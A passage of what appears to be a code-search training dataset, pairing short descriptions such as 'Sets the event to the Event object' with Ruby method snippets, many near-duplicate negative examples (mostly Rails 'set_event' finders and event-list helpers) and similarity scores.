"def get_counterpart(interpreter)\n current_line_index = interpreter.current_line_index\n number = current_line_index.number\n statement_index = current_line_index.statement\n index = current_line_index.index\n other_index = -index\n LineNumberIndex.new(number, statement_index, other_index)\n end",
"def original_line_number(new_line)\n # First of all, convert the line number to an integer\n new_line = new_line.to_i\n\n if @phase == :execute\n # It's the execute phase, so we have more to do\n if @augmented_code.nil?\n # We haven't augmented the code with line numbers or anything\n number_of_prepended_lines = make_runnable(\"\").count(\"\\n\")\n return new_line - number_of_prepended_lines\n\n else\n # Pull the offending line out of the augmented code\n augmented_code_lines = @augmented_code.lines\n if new_line > augmented_code_lines.length\n # We were not able to find the line the error message refers to. Shouldn't happen.\n return \"<unbekannt>\"\n else\n # Check if the line has a line number comment\n ln = PythonCodeAugmenter.extract_line_number(augmented_code_lines[new_line - 1])\n if ln.nil?\n return \"<unbekannt>\"\n else\n return ln\n end\n end\n end\n\n else\n # It's not the execute phase, so we can simply return the line number\n return new_line\n end\n end",
"def line_for_offset(offset)\n if @prev_offset == offset\n # use cache\n return @prev_line\n end\n line_nbr = ary_bsearch_i(line_index, offset)\n if line_nbr\n # cache\n @prev_offset = offset\n @prev_line = line_nbr\n return line_nbr\n end\n # If not found it is after last\n # clear cache\n @prev_offset = @prev_line = nil\n return line_index.size\n end",
"def current_line\n @lines[@current_index]\n end",
"def line\n 1\n end",
"def line(pos=pos())\n lines[line_index(pos)]\n end",
"def get_line(exception)\n # SyntaxErrors have weird line reporting\n # when there's trailing whitespace,\n # which there is for BabyBro documents.\n return (exception.message.scan(/:(\\d+)/).first || [\"??\"]).first if exception.is_a?(::SyntaxError)\n (exception.backtrace[0].scan(/:(\\d+)/).first || [\"??\"]).first\n end",
"def line(pos=pos)\n lines[line_index(pos)]\n end",
"def line_at(filename, line_number)\n source_reload\n\n return \"\\n\" unless File.exist?(filename)\n line = Tracer::Single.get_line(filename, line_number)\n\n return \"#{line.gsub(/^\\s+/, '').chomp}\"\n end",
"def frame_line(frame_position)\n #This is a stub, used for indexing\n end",
"def get_line_pos(pos)\n lpos = @line_ends.bsearch_index { |x, _| x >= pos }\n return lpos\n end"
] | [
"0.77366424",
"0.7610707",
"0.7297889",
"0.72958374",
"0.7276237",
"0.72306144",
"0.7224381",
"0.72243",
"0.7223026",
"0.7218484",
"0.7212791",
"0.7212791",
"0.7212791",
"0.7212791",
"0.7212791",
"0.7212791",
"0.7212791",
"0.7108751",
"0.7079458",
"0.7079458",
"0.7079458",
"0.7063498",
"0.7052656",
"0.7032161",
"0.69649374",
"0.6964637",
"0.69511145",
"0.69299626",
"0.6905508",
"0.6901239",
"0.6856681",
"0.68377155",
"0.6777816",
"0.6738017",
"0.6732175",
"0.6694722",
"0.6688141",
"0.6665351",
"0.66635704",
"0.66549075",
"0.6641913",
"0.662757",
"0.66121006",
"0.6609155",
"0.6554678",
"0.6539499",
"0.65008926",
"0.649598",
"0.6486773",
"0.6486773",
"0.6486408",
"0.6486408",
"0.64829576",
"0.64829576",
"0.64829576",
"0.648286",
"0.6482502",
"0.6475938",
"0.64716285",
"0.6470223",
"0.6455933",
"0.6453592",
"0.6453592",
"0.6451107",
"0.642199",
"0.64177704",
"0.64177704",
"0.64158875",
"0.6376698",
"0.6367296",
"0.6367296",
"0.6367296",
"0.6367296",
"0.6367296",
"0.6367158",
"0.63572055",
"0.63572055",
"0.63572055",
"0.63550436",
"0.631539",
"0.63044447",
"0.63044447",
"0.63044447",
"0.6298721",
"0.6298721",
"0.6298721",
"0.6293865",
"0.6289738",
"0.62764186",
"0.6274215",
"0.6261063",
"0.6252361",
"0.62483716",
"0.61941195",
"0.6182654",
"0.61818725",
"0.615545",
"0.61514944",
"0.6139105",
"0.6116787"
] | 0.7773393 | 0 |
Sets the event to the Event object | def set_event(index, event)
@filtered_events[index] = event
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_event(id)\n @event = Event.find(id)\n end",
"def set_event\n @event = ::Event.find(params[:id] || params[:event_id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(id: params[\"id\"])\n end",
"def set_event\n @event = Event.find(params[:event_id])\n end",
"def set_event\n @event = Event.find(params[:event_id])\n end",
"def set_event\n @event = Event.find(params[:event_id])\n end",
"def set_event\n @event = Event.find(params[:event_id])\n end",
"def set_event\n @event = Event.find_by(id: params[:id])\n end",
"def set_event\n @event = Event.find(params[:id] || params[:event_id])\n end",
"def set_event\n @event = ::Event.find(params[:event_id] || params[:rollcall][:event_id])\n end",
"def event=(value)\n @event = convert(value)\n end",
"def event=(value)\n @event = convert(value)\n end",
"def set_event_event\n @event_event = Event::Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:event_id]) if params[:event_id]\n end",
"def set_event\n @event = Event.find_by(id: params[:id], team: current_team)\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end",
"def set_event\n @event = Event.find(params[:id])\n end"
] | [
"0.77552676",
"0.7699793",
"0.76343054",
"0.76343054",
"0.76343054",
"0.7620364",
"0.761567",
"0.761567",
"0.761567",
"0.761567",
"0.76021934",
"0.7571875",
"0.7567521",
"0.7562625",
"0.7562625",
"0.75062394",
"0.75056255",
"0.7473688",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644",
"0.74482644"
] | 0.0 | -1 |
Gets the event Object | def get_event(index)
@filtered_events[index]
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def event\n @event\n end",
"def event\n @event ||= ::Event.find(self.id)\n end",
"def event\n @event ||= build_event\n end",
"def event\n @event ||= build_event\n end",
"def get_event_object(args)\n if args.is_a? Event\n this_event = args\n else\n this_event = Event.new(args)\n end\n end",
"def event\n @event ||= @chargebee_event\n end",
"def get_event\n if (!params[:event_key])\n return nil\n else\n event = Event.find_by_key(params[:event_key])\n\n if (!event)\n return nil\n else\n return event\n end\n end\n\n end",
"def event\n @event ||= Event.from_hash(session.post('facebook.events.get', :eids => [eid]).first)\n end",
"def klass\n Event\n end",
"def object_fields\n EventField\n end",
"def events\n @events ||= RubyEvents::Events.new(self)\n end",
"def current_event\n if event_id == 0\n nil\n else\n @event = Event.find(event_id)\n end\n end",
"def event\n fetch('esport.events')\n end",
"def message\n @_event.data\n end",
"def get_event(event_id, options = {})\n root = get_root\n object_from_response(GogoKit::Event,\n GogoKit::EventRepresenter,\n :get,\n \"#{root.links['self'].href}/events/\" \\\n \"#{event_id}\",\n options)\n end",
"def event_object\n return @current_overridden_event if @current_overridden_event\n\n event = @master_event.clone\n\n event.delete('RRULE')\n event.delete('EXDATE')\n event.delete('RDATE')\n event.delete('EXRULE')\n event.delete('RECURRENCE-ID')\n\n floating = event['DTSTART'].floating?\n event['DTSTART'].date_time = dt_start\n event['DTSTART'].floating = floating\n if event.key?('DTEND')\n floating = event['DTEND'].floating?\n event['DTEND'].date_time = dt_end\n event['DTEND'].floating = floating\n end\n\n # Including a RECURRENCE-ID to the object, unless this is the first\n # object.\n #\n # The inner recurIterator is always one step ahead, this is why we're\n # checking for the key being higher than 1.\n if @recur_iterator.key > 1\n recurid = event['DTSTART'].clone\n recurid.name = 'RECURRENCE-ID'\n event.add(recurid)\n end\n event\n end",
"def event(event_id)\n result = self.class.get(\"/events/#{event_id}.json\")\n # and now for some dirrty hack\n Songkickr::Event.new result[\"resultsPage\"][\"results\"][\"event\"]\n end",
"def event\n @event ||= Hyrax::Event.create( action, Time.current.to_i )\n end",
"def events\n @@events\n end",
"def get_event(id)\n @event_svc.get(id)\n end",
"def event_info(event_id)\n @graph.get_object(event_id, fields: Event_fields)\n end",
"def name\n attributes[:event]\n end",
"def events\n @events ||= {}\n end",
"def events\n self.class.events\n end",
"def event\n @event ||= Event.make!(lesson: lesson)\n end",
"def event\r\n @event\r\n @comments\r\n @replies \r\n end",
"def event\n params.payload[:event].to_sym\n end",
"def owned_events\n events\n end",
"def events\n subcomponents[\"VEVENT\"]\n end",
"def events\n return @events\n end",
"def event\n if event_id == 0 || event_id.to_s.upcase == 'NULL'\n \"\"\n else\n @event = Event.find(event_id)\n @event[:event_name]\n end\n end",
"def events\n @events ||= Array(context[:events]).reverse.map { |event| Concierge::SafeAccessHash.new(event) }\n end",
"def source_event\n return @source_event if @source_event\n return unless full_data\n\n source_event_id = full_data.fetch_path(:source_event_id)\n @source_event = EventStream.find_by(:id => source_event_id) if source_event_id\n end",
"def get_event ( event_key )\n get_api_resource \"#{@@api_base_url}event/#{event_key}\"\n end",
"def set_event\n @event = Event.getDetails(params[:id]).first\n end",
"def get_event(event_id)\n @client.make_request(:get, @client.concat_user_path(\"#{CALL_PATH}/#{id}/events/#{event_id}\"))[0]\n end",
"def event\n object.tags\n end",
"def event_params\n params[:event]\n end",
"def get_event_config\n event_conf = @opts['events'] || {}\n return event_conf\n end",
"def event( type, **options, &block )\n\t\ttype = self.type_from_object( type )\n\t\tfields = self.fields_from_options( options )\n\n\t\tparent = @event_stack.value.last\n\t\tevent = Observability::Event.new( type, parent, **fields )\n\t\t@event_stack.value.push( event )\n\n\t\tnew_context = @context_stack.value.last&.dup || {}\n\t\t@context_stack.value.push( new_context )\n\n\t\treturn self.finish_after_block( event.object_id, &block ) if block\n\t\treturn event.object_id\n\tend",
"def find_event\n @event = Event.find(params[:id])\n end",
"def load_event_for_template event\n def event.object; eventable; end\n def event.object_type; eventable_type; end\n\n event\n end",
"def event(event_model)\n if event = find_event(event_model)\n event\n else\n raise ArgumentError, \"cannot find #{event_model} in the set of bound events in #{self}. Known events are #{bound_events}.\"\n end\n end",
"def details\n get(\"v1/event/#{@id}\")\n end",
"def event_list\n @_events\n end",
"def events\n @_events ||= self.class.events.dup\n end",
"def event_str\n if (event == nil)\n event_str = \"unknown event\"\n else\n event_str = event.to_s\n end\n event_str\n end",
"def event_to_s\n\t\treturn @@event_string_map[self.event]\n\tend",
"def qualified_event; end",
"def qualified_event; end",
"def events\n data[\"events\"]\n end",
"def event_params\n params[:event]\n end",
"def event_params\n params[:event]\n end",
"def event_params\n params[:event]\n end",
"def event_params\n params[:event]\n end",
"def receiver\n ep = received_event_parameters\n ep.user if ep\n end",
"def get_event\n @bra.synchronize do\n @tits.shift\n end\n end",
"def event_type\n @attributes[:event_type]\n end",
"def get_event_id\n @event_id = session[:event_params] || []\n end",
"def get(event_id)\n @client.request \"events/#{event_id}\"\n end",
"def set_event\n\t\t@event ||= Event.find(params[:id])\n\tend",
"def getBusinessEventObjName\r\n\t\t\treturn \"mfiforce__Business_Event__c\"\r\n\t\tend",
"def events\n data.events\n end",
"def get_events\n Resources::Event.parse(request(:get, \"Events\"))\n end",
"def find_event\n\t @event = Event.get(params[:id]) unless params[:id].nil?\n\tend",
"def name\n return (@event != nil ? @event.name : '')\n end",
"def group\n self.event.owner\n end",
"def events\n @events ||= []\n @events\n end",
"def event_date_time\n return @event_date_time\n end",
"def event_code\n @payload.fetch('event')\n end",
"def set_event_event\n @event_event = Event::Event.find(params[:id])\n end",
"def find_parent_event\n # Find event passed in from filter:\n @parent_event = Event.find_by_id(params[:event_id]); # Will return an object or return nil.\n\n # DEBUG ONLY:\n puts(\"find_event: Event OBJECT passed in: \" + @parent_event.to_s);\n\n if (@parent_event)\n puts(\"found event: \" + @parent_event.name);\n else\n puts(\"didn't find event.\")\n end\n end",
"def connection\n @_event.connection\n end",
"def events\n event_enum\n end",
"def events\n event_enum\n end",
"def event\n valid_events = model_class.state_machine.events.map(&:name)\n valid_events_for_object = @object ? @object.state_transitions.map(&:event) : []\n\n if params[:e].blank?\n errors = t('api.errors.missing_event')\n elsif valid_events_for_object.include?(params[:e].to_sym)\n @object.send(\"#{params[:e]}!\")\n errors = nil\n elsif valid_events.include?(params[:e].to_sym)\n errors = t('api.errors.invalid_event_for_object', :events => valid_events_for_object.join(','))\n else\n errors = t('api.errors.invalid_event', :events => valid_events.join(','))\n end\n\n respond_to do |wants|\n wants.json do\n if errors.blank?\n render :nothing => true\n else\n render :json => errors.to_json, :status => 422\n end\n end\n end\n end",
"def event_data(event_id)\n @map.events[event_id]\n end",
"def hash\n @events.hash\n end",
"def find_event(event_name)\n if has_event?(event_name)\n Event.new(self, event_name)\n end\n end",
"def find_event\n @event = Event.find(params[:id])\n end",
"def event_model(model); self.model.event_model(model) end",
"def calendar_event_id\n return @calendar_event_id\n end",
"def find_event\n @event = Event.find(params[:id])\n end",
"def get(id)\n Event.new(self, @connection.request(:show, {:id => id}))\n end",
"def extract_event_name\n self.event_name = @exception.class.to_s\n end",
"def object\n __getobj__\n end",
"def get_event(event_uid)\n # checks if all required parameters are set\n \n raise ArgumentError, 'Missing required parameter \"event_uid\"' if event_uid.nil?\n \n\n op = NovacastSDK::Client::Operation.new '/events/{event_uid}', :GET\n\n # path parameters\n path_params = {}\n path_params['event_uid'] = event_uid\n op.params = path_params\n\n # header parameters\n header_params = {}\n op.headers = header_params\n\n # query parameters\n query_params = {}\n op.query = query_params\n\n # http body (model)\n \n\n \n # authentication requirement\n op.auths = [\n { name: 'accessKey', key: 'access_token', in_query: true }\n ]\n \n\n resp = call_api op\n\n \n NovacastSDK::EventV1::Models::EventExtended.from_json resp.body\n \n end",
"def event_type\n metadata[:event_type] || self.class.name\n end",
"def event_id_getter\n lambda { |x| x.event_id }\n end",
"def current_event_id\n return @data[@index][:id]\n end",
"def event_for(*args)\n Event.new(*args)\n end",
"def triggered event\n events.select do |event_hook|\n event_hook.type.to_sym == event.to_sym\n end\n end",
"def events\n @events ||= event_finder\n end",
"def current_state\n events.first\n end",
"def default_events()\n return @events\n end",
"def result\n main_event\n end",
"def get_event( event_category, event_id )\n event = get_deep_value( @events, event_category, event_id )\n if not event\n event = get_event_from_site( event_category, event_id )\n return nil if not event\n set_deep_value( @events, event, event_category, event_id )\n end\n event\nend",
"def events\r\n EventsController.instance\r\n end",
"def last_event\n history.last\n end",
"def last_event\n history.last\n end"
] | [
"0.7907608",
"0.7687524",
"0.7468734",
"0.7468734",
"0.7155435",
"0.71338934",
"0.69934124",
"0.6986356",
"0.6859506",
"0.6740046",
"0.67266226",
"0.6694376",
"0.66729695",
"0.6609214",
"0.6570292",
"0.6531881",
"0.6531684",
"0.6528595",
"0.6490209",
"0.64786047",
"0.64646196",
"0.64498544",
"0.64376754",
"0.6395765",
"0.6393473",
"0.6374498",
"0.63673484",
"0.636562",
"0.63644856",
"0.6321868",
"0.6212867",
"0.6195901",
"0.61794406",
"0.6163328",
"0.61616355",
"0.6147194",
"0.61462706",
"0.6137086",
"0.6127097",
"0.6124476",
"0.61221105",
"0.61171615",
"0.61004853",
"0.6079151",
"0.6077019",
"0.6074771",
"0.6071611",
"0.6060709",
"0.6054271",
"0.6054271",
"0.6052613",
"0.60512036",
"0.6048465",
"0.6048465",
"0.6048465",
"0.60426456",
"0.60284805",
"0.6003409",
"0.6001548",
"0.59954435",
"0.5979175",
"0.5975577",
"0.597437",
"0.5967482",
"0.59620196",
"0.5959459",
"0.5958819",
"0.59510386",
"0.5949334",
"0.5943673",
"0.5943666",
"0.59367335",
"0.5931054",
"0.5922548",
"0.5922548",
"0.59222585",
"0.5920856",
"0.59205693",
"0.5912009",
"0.59026",
"0.5878404",
"0.58775264",
"0.5874038",
"0.5862111",
"0.5846127",
"0.58449966",
"0.58371496",
"0.5835748",
"0.5831953",
"0.5830061",
"0.58261836",
"0.5822284",
"0.581865",
"0.58151054",
"0.57956225",
"0.57944727",
"0.57890207",
"0.57805294",
"0.577938",
"0.577938"
] | 0.6031544 | 56 |
Adds the event to the list of events | def add_event(event)
@list_of_events << event
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def add_events(new_events); end",
"def <<(add)\n @_events << add \n end",
"def push(event)\n @events.push(event)\n end",
"def record_event(event)\n @events_mutex.synchronize do\n @events << event\n end\n end",
"def add_event(event_id)\n\t\treturn ERR_UNSUCCESSFUL if not Event.exists?(event_id)\n\t\tself.event_list |= [event_id]\n\t\tself.update_attribute(:event_list, self.event_list)\n\t\tSUCCESS\n\tend",
"def add_event(args)\n this_event = get_event_object(args)\n save_event(this_event)\n events\n end",
"def add(name, obj)\n if @events[name] && !@events[name].include?(obj)\n @events[name] << obj\n else\n @events[name] = [obj]\n end\n end",
"def save_event(event)\n @events.push(event)\n end",
"def push_event event\n @event_queue << event\n end",
"def add_event(e, task_id)\n @events[task_id] ||= []\n @events[task_id] << e\n end",
"def add_event(event)\n @queue[event.key] = EventData.new(event)\n end",
"def add message\n @events[message.sequence] = message\n end",
"def fAddEvent(name,event)\n @sports.addEvent(name,event)\n end",
"def subscribeTo (event)\r\n @subscribedEvents.add(event)\r\n end",
"def addEvent(name, event)\n @sports[name].addEvent(event)\n @eventCount +=1\n end",
"def add_event(&block) #:yield:event\n push Vevent::Maker.make( &block )\n end",
"def event(event) # TODO args for events like keypress\n @events << event\n self\n end",
"def add_event(from,to,kind,msg=nil)\n @bra.synchronize do\n @tits.push(Event.new(from,to,kind,msg))\n end\n end",
"def add(event_klass, options)\n # TODO raise if events reach batch size?\n events << event_klass.new(self, options)\n end",
"def add_event(options)\n self.events ||= []\n event = EventAssertion.new\n event.add_value(options)\n self.events << event\n end",
"def push(event:)\n super\n\n @queue << event\n end",
"def fired_event(event)\n history << event\n update_task_status(event)\n end",
"def add_to_user_event_lists(user_list)\n\t\tuser_list.each do |users_id| \n\t\t\tuser = User.find(users_id)\n\t\t\tuser.add_event(self.id)\n\t\tend\n\tend",
"def started(event)\n @started_events.push(event)\n end",
"def add_event(options={})\n post('event/add', options)\n end",
"def append(event_name, **data)\n id = SecureRandom.uuid\n event = Akasha::Event.new(event_name, id, { aggregate_id: aggregate_id }, **data)\n @aggregate.apply_events([event])\n @events << event\n end",
"def fired_event(event)\n history << event\n\t update_task_status(event)\n end",
"def add_result(new_result)\n @events=@events+new_result.events\n end",
"def started(event)\n @mutex.synchronize do\n started_events << event\n all_events << event\n end\n end",
"def started(event)\n started_events.push(event)\n end",
"def add(event)\n @redis.rpush @key, event\n end",
"def add_trigger event\n if event.class != Nark::Event\n raise Nark::Exceptions::InvalidEventType\n elsif event.exists?\n raise Nark::Exceptions::DuplicateEvent.new \"#{event.plugin}: #{event.type} already exists\"\n else\n events << event\n end\n end",
"def <<(event)\n @mutex.synchronize { @queue << event }\n self\n end",
"def add_event event, delay\n # check to see if the event has a type\n if event.type == :event_none\n bug \"add_event: no type.\"\n return\n end\n\n # check to see of the event has a callback function\n if event.fun == nil\n bug \"add_event: event type %d has no callback function.\", event.type\n return\n end\n\n # set the correct variables for this event\n event.ownertype = :event_owner_dmob\n event.owner = self\n\n # attach the event to the mobiles local list\n @events << event\n\n # attempt to enqueue the event\n if enqueue_event(event, delay) == false\n bug \"add_event: event type %d failed to be enqueued.\", event.type\n end\n end",
"def add_to_calendar(events)\n events.each do |event|\n @cal.add_event(event) unless should_ignore(event)\n end\n end",
"def append(event, method = nil, oneshot = false, &block)\n callback = Callback.new(self, event, method||block, oneshot)\n (@listeners[event] ||= []) << callback\n callback\n end",
"def succeeded(event)\n events.push(event)\n end",
"def add_event(name, unique, condition, phrase, message)\n event = Event.new(name, unique, condition, phrase, command, object, helper, message, 'Map')\n @@events.push(event)\n event\n end",
"def add_event(event, options={})\n return send_message(SkyDB::Message::AddEvent.new(event, options))\n end",
"def update_event_list(array)\n array.push(\"cycling\")\nend",
"def register_event(datetime, event)\n @dups[datetime] << event\n end",
"def event_list\n @_events\n end",
"def started(event)\n @mutex.synchronize do\n started_events.push(event)\n end\n end",
"def added_events(events)\n\t\tsuper if defined? super\n\t\tPlanModificationHooks.added_objects(self, events) \n\t end",
"def sign_up_for_event(event)\n self.events << event unless self.events.include?(event)\n end",
"def on(event, options = {})\n events << Event.new(event, options, Proc.new)\n end",
"def add_to_redis_list(captured_content)\n begin\n @redis.rpush(@event_list,captured_content[\"name\"])\n puts @redis.lrange(@event_list, 0, -1 )\n rescue Exception => e\n puts e.message\n end\n end",
"def add_event_sprite(event)\n @spriteset.add_event_sprite(event)\n end",
"def add_to_lists\n logger.debug \"In add_to_lists\"\n logger.debug \"@new_series_and_venue=#{@new_series_and_venue}\"\n logger.debug \"@old_series=#{@old_series}\"\n logger.debug \"series=#{series}\"\n\n series.add(self) if (series && @new_series_and_venue || @old_series)\n venue.add(self) if (venue && @new_series_and_venue || @old_venue)\n @old_series.remove(self) if @old_series\n @old_venue.remove(self) if @old_venue\n end",
"def add_event!(date, event_name, ev_description)\n return nil if event_name.empty?\n\n @calendar_events[date] = {} unless events_at?(date)\n @calendar_events[date][event_name] = ev_description\n Event.new(event_name, ev_description)\n end",
"def add_event(email, event, payload = {})\n subscriptions.event(email: email, event: event, payload: payload)\n end",
"def add_event(map_id, event_id, new_id,x=nil,y=nil)\n map = Cache.map(map_id)\n return unless map\n event = ev_format(map.events.fetch(event_id, nil).custom_deep_clone)\n return unless event\n event.id = new_id\n clone_events = @events.clone\n new_event = Game_Event.new(@map_id, event)\n clone_events.store(new_id, new_event)\n x ||= event.x\n y ||= event.y\n @events = clone_events\n @events[new_id].moveto(x, y)\n @need_refresh = true\n @max_event_id = [@max_event_id, new_id].max\n SceneManager.scene.add_event_sprite(new_event)\n end",
"def add(entry)\n entries << entry\n end",
"def add_event(event_hash)\n add_assertions!\n self.assertions.add_event(event_hash)\n end",
"def add( object=nil, **fields )\n\t\tself.log.debug \"Adding %p\" % [ object || fields ]\n\t\tevent = @event_stack.value.last or return\n\n\t\tif object\n\t\t\tobject_fields = self.fields_from_object( object )\n\t\t\tfields = fields.merge( object_fields )\n\t\tend\n\n\t\tevent.merge( fields )\n\tend",
"def create\n @event = Event.new(params[:event])\n @event.users << User.find(params['add_to_event']) if params['add_to_event']\n\n respond_to do |format|\n if @event.save\n flash[:notice] = 'Event was successfully created.'\n format.html { redirect_to event_url(@event) }\n format.xml { head :created, :location => event_url(@event) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @event.errors.to_xml }\n end\n end\n end",
"def event_in_list\n if !SYSTEM_DATA[\"events\"].map { |x| x[\"name\"] }.include?(event)\n errors.add(:event, \"not included in list of valid events\")\n end\n end",
"def on_add(&block)\n @add_proc = block\n end",
"def regist(event, handler)\n @events[event] ||= []\n @events[event] << handler\n end",
"def failed(event)\n @failed_events.push(event)\n end",
"def attend_event\n current_user.attended_events << Event.find(params[:event_id])\n flash[:notice] = 'Event was successfully added to your attended events!'\n redirect_to user_path\n end",
"def add\n @event = Event.find(params[:id])\n @user = current_user\n @content = \"is_interested\"\n @object = @event.id\n if current_user \n \t\[email protected] << current_user\n \tredirect_to @event, :notice => I18n.t(:reminders_add)\n else\n redirect_to sign_up_url, :notice => I18n.t(:remindes_add_else)\n \tend\n end",
"def add(*messages)\n [messages].flatten.map do |message|\n report = { \n :message => message, \n :timestamp => Time.now.to_f \n }\n @listener.event.enqueue_all(report)\n report\n end\n end",
"def succeeded(event)\n @mutex.synchronize do\n succeeded_events << event\n all_events << event\n end\n end",
"def merge(event_list)\n @events = merge_event_lists(@events, event_list)\n end",
"def save_events(events)\n events.each do |e|\n new_event = Event.create(e)\n end\n end",
"def failed(event)\n failed_events.push(event)\n end",
"def succeeded(event)\n succeeded_events.push(event)\n end",
"def add_item(item)\r\n @list << item \r\n end",
"def event(data)\n # Prepare the event object.\n id = @next_event_id\n @next_event_id += 1\n event = data.merge :id => id, :server_ts => Time.now.to_f\n @events << event\n\n # Broadcast the event to users.\n @users.each do |user|\n next unless user.session\n user.session.sync_events\n end\n end",
"def set_event(index, event)\n @filtered_events[index] = event\n end",
"def events\n @events ||= []\n @events\n end",
"def place_event(event, start_time)\n event.start_unix = start_time\n event.end_unix = start_time + event.duration_in_miliseconds\n placed = false\n @curr_sched.each_with_index do |e, i|\n if (i + 1 < @curr_sched.length and event.start_unix > e.start_unix and event.start_unix < @curr_sched[i + 1].start_unix)\n @curr_sched.insert(i + 1 , event)\n placed = true\n break\n end\n end\n if not placed\n @curr_sched.push(event)\n end\n end",
"def event_list\n events_list\n end",
"def on_event(&listener)\n @lock.lock\n @event_listeners += [listener]\n ensure\n @lock.unlock\n end",
"def add_candidate_event(confirmation_event)\n candidate_event = AppFactory.create_candidate_event(confirmation_event)\n candidate_events << candidate_event\n candidate_event.candidate = self\n candidate_event\n end",
